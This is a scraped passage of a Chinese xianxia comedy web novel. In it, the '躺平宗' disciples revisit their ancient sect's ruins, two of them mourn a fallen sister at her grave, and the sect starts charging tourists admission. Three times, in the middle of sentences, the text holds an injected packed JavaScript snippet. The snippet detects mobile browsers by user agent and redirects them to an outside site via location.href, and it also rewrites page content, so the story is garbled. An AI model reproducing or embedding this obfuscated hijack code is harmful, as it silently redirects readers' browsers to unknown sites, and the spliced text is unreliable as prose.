沈念一脸茫然地听着,时不时点个头,发出“嗯”“啊”“原来如此”之类的声音,也不知道是真的听进去了还是在敷衍。 沈彻坐在最前面,回头看了一眼这群人,嘴角忍不住弯了起来。 他原本担心穿云兽太闷,大家会觉得无聊,现在看来完全是多虑了——有牧殇在,哪里都不会无聊。 穆惇一个人坐在兽背边缘,目光望向远方。云层翻涌,阳光洒在上面,泛着金色的光。她手里握着那把剑,剑身上的锈迹已经淡了许多,在阳光下反射出暗沉的光泽。 典星河躺在她旁边,闭着眼睛,也不知道是睡着了还是在发呆。 归尘独自坐在另一头兽背的前端,目光始终望着云层尽头的方向。那里有他三千年没回去的地方,有他三千年没敢触碰的记忆。风把他的白发吹起来,在身后轻轻飘动。 徐修和安然坐在他身后,也没有说话。 三个人,望着同一个方向。 飞了将近一天,穿云兽终于开始缓缓下降。 云层渐渐散去,下方显露出一片连绵的山脉,群山环抱之中,有一条蜿蜒的河流,在阳光下泛着粼粼的波光。 归尘站了起来。 穿云兽落在一片山坡上。众人跳下兽背,站在齐膝的野草中,环顾四周。 这里是一片普通的山林,有树,有草,有野花,有鸟鸣。 和任何一座普通的山都没有区别。 没有断壁,没有残垣,没有青石地基,没有任何人为的痕迹。 三千年的时间,足够抹去一切。 归尘站在那里,望着眼前这片山林,沉默了很久。 然后他迈步往前走。 他走得很慢,一步一步,仿佛每一步都踩在记忆的弦上。其他人站在原地,没有跟上去。典星河轻轻摆了摆手,示意大家不要动。 归尘一个人往前走。 徐修和安然对视一眼,也跟了上去。 三个人,并排走着,走进那片看起来普普通通的山林。 归尘停在一处缓坡前。 这里什么都没有,只有野草和几棵歪脖子树。阳光从枝叶间洒下来,在地上投出斑驳的光影。 “这里,”归尘轻声说,“以前是山门。” 徐修站在他旁边,点了点头。 “山门口有两棵大松树,”他说,“师父种的。” 安然接话:“种了五十年,才长成。” 归尘望着那片山坡,仿佛能看见什么。他的目光很专注,像是真的有两棵大松树站在那里,像是真的有一座山门立在那里,像是真的有一块刻着“躺平宗”三个大字的牌匾悬在那里。 “每天早上,”他说,“师父站在山门口,等我们起来做早课。” 徐修说:“大师兄总是第一个到。” 安然说:“我第二个。” 归尘嘴角弯了弯:“我最后一个。” 徐修看了他一眼:“你那时候老爱赖床。” 归尘点点头。 “四师姐每次都来叫我。”他说,“她来得比我还晚。” 三个人都笑了。 风从山坡上吹过,野草轻轻摇摆。 他们继续往前走,走到一条小溪边。 溪水很浅,清澈见底,能看见水底的鹅卵石。几条小鱼游过,很快消失在石头缝里。 归尘蹲下来,伸手碰了碰溪水。凉的。 “这里,”他说,“以前是我们洗脸的地方。” 徐修在旁边蹲下,也伸手碰了碰水。 “每天早晨,我们都在这儿洗脸。”他说,“冬天的时候,水特别冷。四师妹每次都鬼叫。” 安然笑了:“她鬼叫完,还是得洗。” 归尘点点头。 “有一次,”他说,“我偷懒,没洗。被大师兄发现了。” “然后呢?”徐修问。 归尘沉默了一会儿。 “他什么都没说,”他说,“就是看着我。” 徐修笑了。 “他那招,跟师父学的。” 归尘点点头。 “后来我还是洗了。”他说。 安然在旁边也蹲下来,掬了一捧水,看着水从指缝间流走。 “这水,”他说,“还是那条水。” 归尘点点头。 “山还在,”他说,“水还在。” 人却不在了。 三个人蹲在溪边,谁也没说话。 阳光照在水面上,波光粼粼。 他们继续往前走,走到一片相对开阔的空地前。 这里长满了野草和野花,五颜六色的,在风里轻轻摇摆。有几棵野果树,结着青青的果子,还没熟。 归尘在这里站了很久。 “这里,”他说,“是我们练剑的地方。” 徐修环顾四周。 “那时候可没这么多花。”他说,“都是光秃秃的地,被我们踩出来的。” 安然点点头:“每天都要练,一练就是一上午。” 归尘望着那片空地,仿佛能看见什么。 他看见一群少年,手里拿着剑,在阳光下挥汗如雨。师父坐在旁边,笑眯眯地看着他们。大师兄在最前面,一招一式,标准得像是画出来的。二师兄在角落里,一边练剑一边念叨着什么,大概是在算账。三师兄练完剑,第一件事就是整理衣襟。四师姐练得最不认真,总是偷懒,但师父从来不骂她。 他看见自己,那时候还小,站在最后面,笨拙地跟着比划。 三个人站在那片空地上,谁也没说话。 风吹过来,野花轻轻摇摆,像是在跳舞。 他们继续往前走,走到一棵巨大的老树前。 那是一棵不知名的树,树干粗得几个人都抱不过来,枝叶繁茂,遮出一大片阴凉。树上缠着几根藤蔓,开着小小的白花。 归尘在这棵树前站了很久。 “这棵树,”他说,“还在。” 徐修走过来,伸手摸了摸树干。 “我记得这棵树。”他说,“那时候就这么大了。” 安然也走过来,仰头看着那些枝叶。 “四师妹最喜欢这棵树。”他说。 归尘点点头。 “玩捉迷藏的时候,她老是上去躲着。” 徐修笑了:“每次躲这棵树上,每次都被找到。” 安然说:“那是因为她每次都笑出声。” 归尘嘴角弯了弯。 “她忍不住。”他说,“看见我们来找她,她就想笑。” 三个人站在树下,望着那些枝叶。 阳光从叶隙间洒下来,在他们身上投下斑驳的光影。 归尘忽然蹲下来,从怀里掏出一颗糖,放在树根旁边。 “四师姐,”他轻声说,“我又来了。” 风吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387688|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,树叶轻轻晃动,发出沙沙的声音。 像是在回应。 他们在山林里走了很久,走过他们能认出来的每一处地方。 山坡、溪边、空地、老树。 有些地方已经完全认不出来了,有些地方依稀还能看出当年的影子。但不管认不认得出,归尘都会停下来,站一会儿,然后继续走。 太阳慢慢西斜,把整片山林染成暖橙色。 归尘走到一处高地,停了下来。 从这里望出去,能看见整片山林的轮廓,能看见那条蜿蜒的溪流,能看见远处起伏的山峦。 徐修和安然站在他两边。 三个人,并排站着,望着这片山林。 “三千年前,”归尘轻声说,“我们就在这里。” 徐修点点头。 “那时候,”他说,“什么都有。” 安然接话:“现在什么都没了。” 归尘沉默了一会儿。 然后他说:“有的。” 徐修和安然看向他。 归尘望着眼前这片山林,声音很轻。 “山还在,”他说,“水还在。这棵树还在。” 他顿了顿。 “我们也还在。” 徐修愣了一下,然后笑了。 安然也笑了。 三个人站在那片高地上,望着夕阳。 太阳慢慢沉下去,把天边染成一片橙红。 天快黑的时候,他们走下山坡。 其他人还在原地等着,看见他们回来,都站了起来。 宋栀子第一个跑过去。 “归爷爷!”她喊,“你们看到什么了?” 归尘看着她,想了想。 “山。”他说,“水。树。” 宋栀子愣住了。 “就这些?” 归尘点点头。 宋栀子眨眨眼,有点不明白。但她没再问,只是拉着归尘的袖子,说:“回去吧,我饿了。” 归尘低头看了看她,嘴角弯了弯。 “好。”他说。 众人上了穿云兽。 穿云兽缓缓升空,载着他们离开这片山林。 归尘坐在兽背上,回头看了一眼。 山林越来越远,越来越小,最后被夜色吞没。 穿云兽飞回去的时候,天已经黑了。 月亮升起来,照在云海上,亮堂堂的。 宋栀子趴在兽背上,看着下面的云层,已经睡着了。安然给她盖了件衣服,自己靠着软垫,闭着眼睛。 徐修抱着酒壶,喝一口,眯着眼回味一下,再喝一口。 穆惇坐在边缘,望着月亮。 祁幻抱着账本,只是发呆。 牧殇难得安静,和沈念并排坐着,望着月亮。 沈彻坐在最前面,回头看了一眼,却也没说什么。 归尘坐在另一头兽背上,望着月亮。 典星河走过来,在他旁边坐下。 “前辈,”她轻声问,“今天高兴吗?” 归尘想了想。 “高兴。”他说。 “难过吗?” 归尘又想了想。 “也难过。”他说。 典星河点点头。 “我也是。”她说。 两人一起看着月亮。 过了很久,归尘从怀里掏出一颗糖,递给典星河。 典星河接过糖,剥开糖纸,放进嘴里。 甜的。 【沈彻日记·其四】 某年某月某日月圆 今天带他们去了上古躺平宗旧址。 飞了一整天,到的时候已经是下午了。 那片山跟别的山没什么区别,有树,有草,有野花,有小溪。没有任何建筑的痕迹,三千年的时间,什么都抹平了。 归尘前辈他们三个人走进山里,走了很久。 我不知道他们看到了什么。 但我猜,他们看到的东西,跟我不一样。 我看到的是树,是草,是野花,是小溪。 他们看到的是山门,是师父的院子,是练剑的地方,是老树下的捉迷藏。 他们回来之后,我问牧殇:“你看到了什么?” 牧殇想了想,说:“我看到了一座山。” 我说:“我也看到了。” 牧殇说:“但前辈们看到的,不是这座山。” 我说:“那是什么?” 牧殇难得安静了一会儿,然后说:“是家。” 我愣了一下。 家。 三千年前的家。 现在什么都没了,但他们还记得。 记得那两棵松树,记得那条小溪,记得那片空地,记得那棵老树。 记得那些不在了的人。 记得那些回不去的日子。 我突然有点羡慕他们。 不是羡慕他们有三千年的记忆。 是羡慕他们,有可以记得的人。 回来的路上,月亮很圆。 归尘前辈和典星河坐在一起,看着月亮。 我不知道他们在想什么。 但我知道,他们想的人,也在看月亮。 (今天没有蹭到饭,因为回来太晚了。) (但穆惇师姐说,明天给我补上。) 28. 离别,重逢 从上古躺平宗旧址回来之后,沈念就有些不对劲。 他自己也说不上来哪里不对。只是每天晚上躺下之后,脑子里就会浮现那片山林——那棵老槐树,那条小溪,那片长满野花的空地。明明什么都没有,只有山,只有树,只有风。 但他总觉得,师父在那儿。 这个念头一旦冒出来,就再也压不下去了。 这天晚上,他躺在柴房的干草堆上,看着屋顶那个洞。月光从洞里照进来,洒在他脸上,亮亮的。 梦里,他站在一片熟悉的地方。 是那片山林。上古躺平宗旧址。有那棵老槐树,有那条小溪,有那片长满野花的空地。阳光从枝叶间洒下来,在地上投出斑驳的光影。 但不一样的是,这里不再是一片荒芜的山林。 山门立起来了,两棵大松树站在门口。主殿在阳光下泛着青石的光,师父的院子收拾得干干净净,练剑的空地上有一群少年在挥汗如雨。 沈念愣在那里。 他看见一个瘦瘦高高的身影,从主殿那边走过来。 穿着一身半旧的青衫,干干净净,连一个褶子都没有。眉眼温和,嘴角带着笑。 是师父。 沈念张了张嘴,想喊一声“师父”,却发不出声音。 师父走过来,在他面前站定。 “念念。”他说,声音温和得像春风,“来了?” 沈念的眼泪涌出来。 他拼命点头。 师父伸出手,在他脑袋上敲了一下。 “哭什么?”他说,“不是找到了吗?” 沈念捂住脑袋,看着他,又哭又笑。 “你小师叔怎么样?”他问。 沈念点头。 “好。”他声音沙哑,“很好。有家,有人陪。” 师父点点头。 “那就好。”他说,“他最怕一个人。” 沈念看着他,想说话,又不知道该说什么。 师父在他旁边蹲下来。 沈念也蹲下来。 师徒俩就这么蹲着,像小时候无数次那样。 “师父,”沈念终于开口了,“你去过那片遗址吗?” 师父点点头。 “去过。”他说,“经常去。” 沈念愣了一下。 “可是……” 师父笑了笑。 “你以为那片山只是山?”他说,“对我们来说,那片山一直是宗门。不管有没有房子,不管有没有人。它在,宗门就在。” 沈念听着,眼眶又红了。 师父伸出手,又在他脑袋上敲了一下。 “别哭了。”他说,“再哭,我就该心疼了。” 沈念点点头,努力忍住眼泪。 师父站起来,拍了拍身上的土。 “我该走了。”他说。 沈念慌了。 “师父!” 师父回头看他,笑了笑。 “念念,”他说,“记住我的话。” 他指了指天上。 又指了指沈念的胸口。 “我一直在。” 然后他转过身,往主殿走去。 沈念想追,却迈不开腿。 他只能看着师父的背影,越走越远,越来越淡。 最后,消失在阳光里。 沈念站在原地,泪流满面。 第二天早上,沈念起得很早。 他走出卧房,看见归尘已经坐在歪脖子树下嗑瓜子。 他走过去,在他旁边蹲下。 “师叔。”他说。 归尘看了他一眼。 “嗯?” 沈念从怀里掏出那颗糖的糖纸,在手里展开。 “这个,”他说,“是您放的吧?” 归尘没说话。 沈念笑了。 “谢谢师叔。”他说。 归尘又嗑了一颗瓜子。 “不是我。”他说。 沈念愣住了。 归尘看着远处,声音很轻。 “是你师父。”他说。 “嗯。”他说,“是他。” 两人一起坐着,一起嗑瓜子。 太阳慢慢升起来,照在他们身上。 暖洋洋的。 这时,穆惇从屋里走出来。 她站在院子里,看着那片灵田,看了很久。 然后她转身走向摇椅,在典星河旁边蹲下。 “掌门。”她说。 典星河睁开一只眼。 “嗯?” 穆惇沉默了一会儿。 “我想和牧殇出去一趟。”她说,“去看看一个人。” 典星河看着她。 “很重要的人?” 穆惇点点头。 典星河想了想。 “去吧。”她说,“早点回来吃饭。” 穆惇愣了一下。 “你……不问是谁?” 典星河又闭上眼睛。 “你想说的时候,自然会说。”她说,“不想说,就不说。” 穆惇看着她,看了很久,然后笑了。 “谢谢掌门。”她说。 典星河摆摆手。 “去吧去吧,别耽误晚饭。” 穆惇站起来,走向歪脖子树。牧殇已经在树下等着了,手里攥着一把刚摘的野花,五颜六色的,和他这个人一样杂乱无章。 “走吧。”穆惇说。 牧殇点点头,两人并肩往山门外走去。 两人沿着山路往东走,穆惇走在前面,脚步很快却并不慌乱,仿佛这条路她已经走过千百遍,只是这十年刻意绕开了它。 牧殇跟在后面,手里的野花随着步伐轻轻晃动,花瓣上还挂着晨露,在阳光下闪着细碎的光。 山路崎岖,两旁的野草没过脚踝,偶尔有不知名的鸟雀被惊起,扑棱棱飞向远处。 他们谁都没有说话,只有脚步声和衣料摩擦的窸窣声,被山风裹挟着飘向远方。 走了一个多时辰,翻过两座山头,穆惇忽然停下脚步。 牧殇抬起头,顺着她的目光望去。 前方是一片缓坡,坡顶立着一座小小的坟茔。青石的墓碑在阳光下泛着淡淡的光,周围长满了不知名的野花,紫色的、白色的、淡黄色的,在风里轻轻摇曳,像是有人精心照料过,又像是自然生长的馈赠。 那是林悠然的墓。 十年了。 牧殇走到墓前,缓缓蹲下身子,将那把野花放在墓碑前。他的动作很轻,像是怕惊扰了什么。花瓣落在青石上,有几片被风吹起,打着旋儿落在碑座的缝隙里。 穆惇站在他身后,没有靠近,只是静静地看着那块墓碑。 阳光落在她脸上,照不出任何表情,只有那双眼睛,深邃得像两口古井。 沉默持续了很久。 风从山丘上吹过,野花轻轻摇摆,发出沙沙的低语。 牧殇终于开口了。 “悠然,”他说,声音低得几乎要被风吹散,“我和师姐来看你了。” 他顿了顿,喉结滚动了几下。 “十年了。这十年,我们一次都没来过。” 他低下头,盯着墓碑前那些不知名的野花,声音里带着压抑了十年的涩意。 “不是不想来。是不敢来。每次想来,都觉得没脸见你。是我太弱了,是我拖累了师姐,是我……” “不是。”穆惇的声音从身后传来,平静得像一潭死水,却让牧殇的话戛然而止。 穆惇走上前,在牧殇身旁蹲下。她伸出手,轻轻触碰那块墓碑,指尖沿着刻痕缓缓移动,像是在抚摸一个久别的人。 “悠然,”她轻声说,“你原谅师姐了么?” 她的声音平静得近乎冷酷,可那冷酷底下,有什么东西在微微颤抖。 “每次想来,都觉得是我害的你。那条路是我选的,那个秘境是我带的。我以为我能护住你们,我以为我足够强……” 她停住了。 风吹过来,把她的发丝吹起,有几缕落在墓碑上,像是某种无声的依偎。 牧殇想说什么,却被穆惇抬手制止。 “我们都欠她一句话。”穆惇说。 她看着那块墓碑,一字一句,清晰得像是刻在石头上。 “悠然,对不起。” 那声音终于有了一丝颤抖。 “对不起,是我没保护好你。对不起,这十年我一直躲着。对不起,现在才来。” 眼泪从她脸上滑落,砸在墓碑前的泥土里,洇开一小片深色。 牧殇再也忍不住,哽咽着开口。 “悠然,对不起。对不起是我太弱了,对不起是我拖累了师姐。对不起这十年我不敢来,对不起我不敢想,对不起……” 他说不下去了,双手捂住脸,肩膀剧烈地颤抖。 两个人跪在墓前,任凭眼泪流淌。十年的愧疚、十年的逃避、十年的不敢触碰,都在这一刻决堤而出。 风从远处吹来,野花轻轻摇摆,像是在轻轻摇头,又像是在无声地叹息。 不知过了多久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387689|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆惇先站起身。她伸手把牧殇拉起来,两人并肩站在墓前,眼眶都还红着,可神色比来时平静了许多。 穆惇从腰间解下那把剑,握在手里看了很久,然后轻轻插在墓碑旁的泥土里。剑身上那道最深的刻痕——当年悠然不小心砸出来的那道——在阳光下格外清晰。 “剑里一直有你。”穆惇轻声说,“这十年,我带着它,就像带着你。” 牧殇深吸一口气,努力让声音平稳些。 “我现在话可多了,”他说,“每天都说好多好多话,说到别人都嫌我烦。你以前老担心没人陪我说话,现在有了,好多人。” 他顿了顿,又补了一句。 “你应该能听见吧?” 风吹过来,墓前的一朵小野花轻轻晃了晃。 两人都看见了。 他们对视一眼,嘴角不约而同地浮起一丝笑意。 “走吧。”穆惇说。 牧殇点点头,最后看了一眼那座坟,跟着穆惇往山下走去。 回到躺平宗时已是下午,沈彻正蹲在歪脖子树下嗑瓜子,看见两人回来,立刻站起身迎上去。 “回来了?怎么样?”他问。 牧殇眨眨眼:“什么怎么样?” 沈彻上下打量他们:“你们去看人,看得怎么样?” 牧殇想了想,嘴角弯了弯:“挺好。” 沈彻盯着他红红的眼眶,又看看穆惇同样微红的眼睛,忽然说:“是去看一个很重要的人吧?” 两人都没说话。 沈彻挠挠头,认真道:“那下次带我去。我也去拜拜。” 牧殇愣了愣,然后笑了:“好。” 沈彻又跑去找穆惇:“师姐,我也去!” 穆惇看着他,嘴角弯了弯:“好。” 沈彻高兴了,又跑回树下继续嗑瓜子。 牧殇看着那个蹲在树下的年轻人,轻声说:“她应该会喜欢这小子。” 穆惇点点头:“会。” 晚上,众人围坐在主殿门口。 穆惇做了满满一桌子菜,比平时丰盛得多。红烧肉、炖鸡汤、清蒸鱼、炒青菜,还有一大锅萝卜汤,香气飘满了整个院子。 沈彻吃得满嘴流油,一边吃一边夸:“穆师姐!你这手艺绝了!” 穆惇看了他一眼:“那就多吃点。” 沈彻点头,又添了一碗饭。 祁幻在旁边记账:“今日支出:肉五斤二百文,菜若干五十文。心情:很好。” 他抬头看了一眼牧殇,牧殇正和沈念聊得火热,笑得嘎嘎的,完全看不出下午哭过的样子。 祁幻想了想,在账本上加了一行小字:“二师兄今天笑了很多次。很好。” 安然坐在旁边整理衣襟,徐修在喝酒,宋栀子在荡秋千,笑声飘得到处都是。 归尘坐在树下,端着碗慢悠悠地喝汤。典星河挪过来,在他旁边坐下。 两人一起看着那群热闹的人。月光洒下来,亮堂堂的。很吵,但很暖。 【沈彻日记·其五】 某年某某月某日月圆 今天发生了几件事。 第一件,沈念今天话变多了。不是牧殇那种多,是比以前多了那么一点点。我问他怎么了,他说做了个好梦。我没多问,但后来我看见他和归尘前辈说话,两个人笑得挺开心的。 第二件,穆惇师姐和牧殇今天出去了一趟。下午才回来,两人眼睛都红红的。我问他们去看谁,他们没说。但后来我说下次带我去,他们都点头了。 我突然有点明白,他们是去看一个人。 一个很重要的人。 一个已经不在的人。 晚饭的时候,牧殇又活过来了,追着沈念跑,笑得嘎嘎的。穆惇师姐还是一如往常,面无表情,但她今晚做的菜,比平时多了两道。 归尘前辈蹲在树下,看着他们,嘴角一直弯着。 我看着他们,忽然想起归尘前辈说过的一句话。 “他们都在。” 都在。 活着的人在。 不在了的人,也在。 在梦里,在风里,在月亮里,在那些记得他们的人心里。 在穆惇师姐的剑里。 在牧殇每天说的话里。 在归尘前辈每次看月亮的时候。 沈念今天做了个好梦。 我想,他梦见的,一定是他师父。 穆惇师姐和牧殇今天去看了一个人。 我想,那个人一定也看见了他们。 (今天也是好日子。) 29. 参观热潮 从上古躺平宗旧址回来之后,仙网论坛就彻底炸了锅。 起因是一个匿名帖子—— 【独家】躺平宗集体出行!疑似前往神秘地点! 发帖人:路人甲 内容:今天路过青云山脉,看见躺平宗一群人骑着两头巨大的穿云兽往东飞去。有老有少,有白头发的有黑头发的,还有一个站在兽背上嗑瓜子的。他们去哪儿?有人知道吗? 评论区一开始还很正常,无非是些“穿云兽不是沈家的吗”“沈彻又去蹭饭了呗”“可能是去踏青”之类的闲聊。毕竟春天到了,宗门组团出游也算常见。 但很快,另一个帖子如同平地惊雷,彻底引爆了话题—— 【惊天发现】我找到了躺平宗去的地方!是上古遗址! 发帖人:考古爱好者 内容:我根据路线反复推演,发现躺平宗去的竟然是那个地方——三千年前上古躺平宗旧址!如今虽然什么都不剩了,只有一片荒山野林,但那可是他们师门起源的地方!他们是去祭祖的! 评论区彻底疯了: “祭祖?!三千年前的祖宗?!” “所以他们真的是上古宗门的传人?” “那个嗑瓜子的白头发,真的是渡劫期大佬?” “之前不是有人扒过吗?归尘前辈,三千年前上古躺平宗的幸存者!” “还有徐修和安然,都是化神期!” “所以他们是组团回去祭拜的?” “这排面,太牛了。” “我想去躺平宗看看!” “我也想去!” “组团组团!谁拉个群?” 于是,躺平宗就这么火了。 火得一塌糊涂,火得莫名其妙,火得让祁幻第二天早上打开玉简时,差点被那铺天盖地的私信和@提醒淹死。 第一批访客来的时候,祁幻正在记账。 他听见山门外有人喊。 山门外站着三十多个人,有男有女,有老有少,穿得五花八门,一看就是从各地赶来的。为首的是个年轻修士,长得眉清目秀,看见祁幻出来,眼睛瞬间亮得像两盏小灯。 “请问,这里是躺平宗吗?” 祁幻机械地点了点头,脑子还没完全转过来。 年轻修士激动得声音都发颤:“太好了!我们是来参观的!听说你们是上古宗门传人!我们能进去看看吗?” 他是么?其实不完全是。 祁幻张了张嘴,想说什么,却发现自己一个字都说不出来。 他回头,求助般地看向院子里。 典星河还躺在摇椅上,似乎对这边的动静毫无察觉。 身后传来一阵窸窸窣窣的声音。 典星河慢悠悠地坐起来,伸了个懒腰,然后踱步而来。她走到山门口,扫了一眼那三十多个人,目光从他们脸上依次滑过,沉默了三秒。 然后她笑了,笑的灿烂。 那笑容落在祁幻眼里,不知怎的,让他后背一凉。 “参观可以。”典星河说,声音懒洋洋的,像是在说今天天气不错,“门票十两。” 那群人愣住了。 “十、十两?” 典星河点点头,神情坦然得理直气壮:“童叟无欺。我们这儿有渡劫期大佬,有化神期老前辈,有天才剑修,有阵法大师,还有会炸东西的小师妹。十两,不贵吧?” 那群人面面相觑,交头接耳地议论起来。 有人小声说:“好像……是不贵?” 另一个人掰着手指头算:“渡劫期大佬!十两就能见一面!值啊!平时连影都摸不着!” “对对对!我在论坛上看过,归尘前辈那张脸,值回票价了!” 于是,第一个人掏钱了。 第二个也掏钱了。 第三个、第四个、第五个…… 祁幻站在旁边,看着那一锭锭银子堆起来,手不受控制地抖了起来。 “掌门,”他压低声音,凑到典星河耳边,“这、这合适吗?” 典星河侧头看了他一眼,神情里带着几分“你是不是傻”的意味。 “有什么不合适的?”她说,理所当然地,“来参观就要收门票,天经地义。” 祁幻沉默了。 他低头看了看自己那双还在抖的手,又看了看那堆越来越高的银子,忽然觉得,自己这三年的崩溃,可能都白崩溃了。 三十多个人交了钱,浩浩荡荡地往里走。 典星河站在山门口,对着他们的背影悠悠地喊了一声。 “等等!” 众人齐齐回头。 典星河清了清嗓子,从怀里掏出一张纸,慢条斯理地展开。 “参观须知,都听好了。” 她开始念,声音不大,但每一个字都清清楚楚地钻进每个人的耳朵里: “第一条,禁止乱扔垃圾。发现一次,罚款十两。” “第二条,禁止打扰穆师姐种地。她脾气不好,被锄头砸了概不负责。” “第三条,禁止被宋栀子的发明炸到后索赔。炸到是你运气不好,和本宗门无关。” “第四条,禁止围观归尘前辈嗑瓜子太久。他脸皮薄,会害羞。” 歪脖子树下,归尘正蹲着嗑瓜子,听见这话,抬起头看了她一眼。 典星河目不斜视,假装没感觉到那道目光。 “第五条,禁止和牧殇聊天超过一炷香。他话多,你受不了。” 牧殇从旁边冒出来,一脸不服:“凭什么!” 典星河看了他一眼,目光里带着几分“你心里没点数吗”的意味。 “你昨天拉着沈念聊了三个时辰,他今天都没缓过来。” 牧殇愣了愣,看向旁边的沈念。沈念顶着两个明显的黑眼圈,对他点了点头。 牧殇沉默了。 “第六条,禁止问祁幻‘今天赤字吗’。”典星河继续念,“他会计入账本,下次门票涨价。” 祁幻:“……” “第七条,禁止问安然前辈‘你衣服怎么这么干净’。”典星河念到这里,顿了顿,“他会告诉你保养秘籍,然后说三天三夜。” 安然正在整理衣襟的手,微微顿了一下。 “第八条,禁止和徐修前辈拼酒。你拼不过。” 徐修举起酒壶,朝人群遥遥致意,神情里带着几分“欢迎来战”的意味。 “第九条,禁止在宗门内御剑飞行。撞到歪脖子树算你的,撞到归尘前辈算你倒霉。” 归尘又抬起头,看了她一眼。 典星河依然目不斜视。 “第十条,参观时间一个时辰。超时加收十两。” 她念完,利落地收起那张纸。 “都记住了?” 三十多个人整齐划一地点了点头。 “那进去吧。” 众人鱼贯而入,脸上带着期待和好奇。 牧殇第一个跳了出来,主动请缨当导游。 “我来我来!我带他们参观!”他站在队伍最前面,意气风发,嗓门洪亮,“各位!欢迎来到躺平宗!我是你们的导游牧殇!大家叫我牧导就行!” 众人很给面子地鼓掌。 牧殇领着他们往里走,边走边介绍,口若悬河,滔滔不绝。 “这边是主殿!我们吃饭的地方!” “这边是宿舍!我们睡觉的地方!” “这边是灵田!穆师姐种萝卜的地方!”他压低了声音,神秘兮兮地,“你们千万别靠近,她真的会砸人,真的,我体验过。” 穆惇在灵田里抬起头,看了他一眼。 那一眼平平无奇,没有任何表情。 但牧殇还是缩了缩脖子,加快脚步往前走。 “这边是柴房!我们睡觉的地方!” 有人举手提问,一脸真诚的困惑:“你们不是有宿舍吗?为什么还睡柴房?” 牧殇眨眨眼,回答得理直气壮:“热闹。” 那人沉默了。 队伍里有人小声嘀咕:“这宗门……好生奇怪。” 旁边的人接话:“奇怪才有意思啊,正常的宗门谁来看?” “有道理。” 牧殇继续领路,走到歪脖子树前,停下脚步。 “这边是歪脖子树!归尘前辈的……修炼场所!” 众人齐刷刷地看过去。 归尘正蹲在树下嗑瓜子,对他们的到来毫无反应。阳光透过枝叶的缝隙洒在他身上,白发如雪,眉眼安静得像一幅画。 有人小声问:“能过去看看吗?” 牧殇摇摇头,一脸严肃:“第四条,禁止围观太久。他脸皮薄。” 众人点点头,表示理解,目光却还是忍不住往那边瞟。 一个时辰后,牧殇送走第一批游客,嗓子已经彻底哑了。 他瘫坐在石凳上,大口大口地灌水,整个人像是被抽干了精气神。 祁幻凑过来,一脸同情地看着他。 “怎么样?” 牧殇摆摆手,指了指自己的嗓子,又比划了一个“不行了”的手势。 祁幻点点头,拿出账本,郑重其事地记了一笔: “牧殇今日导游收入:三十人×十两=三百两。嗓子损伤程度:重度。修复方法:多喝水,少说话,明天可以考虑用写的。” 第一批走了,第二批来了。 第二批走了,第三批来了。 一天下来,山门外的人流几乎没有断过。 祁幻记账记到手软,手指都快抽筋了。 “三百两、五百两、八百两、一千两……” 他每念一个数字,声音就抖一下,念到最后,整个人已经处于一种恍惚的状态。 “掌门,”他小声说,声音里带着一种不真实感,“咱们发财了。” 典星河躺在摇椅上,慢悠悠地晃着,神情惬意得像一只晒太阳的猫。 “嗯。”她说,“我说过,算卦很准的。” 祁幻愣了愣:“你什么时候算过?” 典星河想了想,理直气壮地回答:“刚才。算到咱们今天能赚一千两。” 祁幻沉默了。 归尘在树下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387690|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗑着瓜子,看着这一群人来来去去,始终面无表情。 有人在他旁边蹲下来,想看他嗑瓜子。他看了一眼,继续嗑。那人看了一炷香,他还在嗑。那人又看了一炷香,他终于开口了。 “看够了吗?” 那人吓了一跳,差点从蹲着变成坐着。 “前、前辈,您真的是渡劫期吗?” 归尘看了他一眼,嘴角微微弯了弯。 “你猜。” 那人愣住了。 归尘继续嗑瓜子,一颗一颗,不紧不慢。 那人想了想,壮着胆子又问:“那您能让我看看渡劫期的实力吗?就一小下?就一下?” 归尘沉默了一会儿。 然后他站了起来。 那人眼睛亮了,激动得差点跳起来。 归尘走到他面前,伸出手。 在他脑袋上,轻轻敲了一下。 “好了。”归尘说。 那人捂着脑袋,整个人都懵了。 归尘又蹲回去,继续嗑瓜子。 那人站在原地,半天没动。 后来他出去之后,逢人就说:“我被渡劫期大佬敲了脑袋!真的!就刚才!他亲手敲的!” 消息传开,第二天来参观的人更多了。 天黑了,最后一批游客恋恋不舍地离开。 祁幻瘫在石凳上,抱着账本,眼睛都快睁不开了。 “今日进账……”他声音虚弱地念,“一千二百三十两……” 牧殇坐在旁边,嗓子彻底报废,只能用手比划着什么。 宋栀子从厨房里跑出来,端着一碗水递给牧殇。 “二师兄,你辛苦了!” 牧殇接过水,一饮而尽,脸上露出劫后余生的表情。 沈彻从山门外跑进来,气喘吁吁,一脸懊恼。 “我来晚了!”他喊,“今天这么多人?” 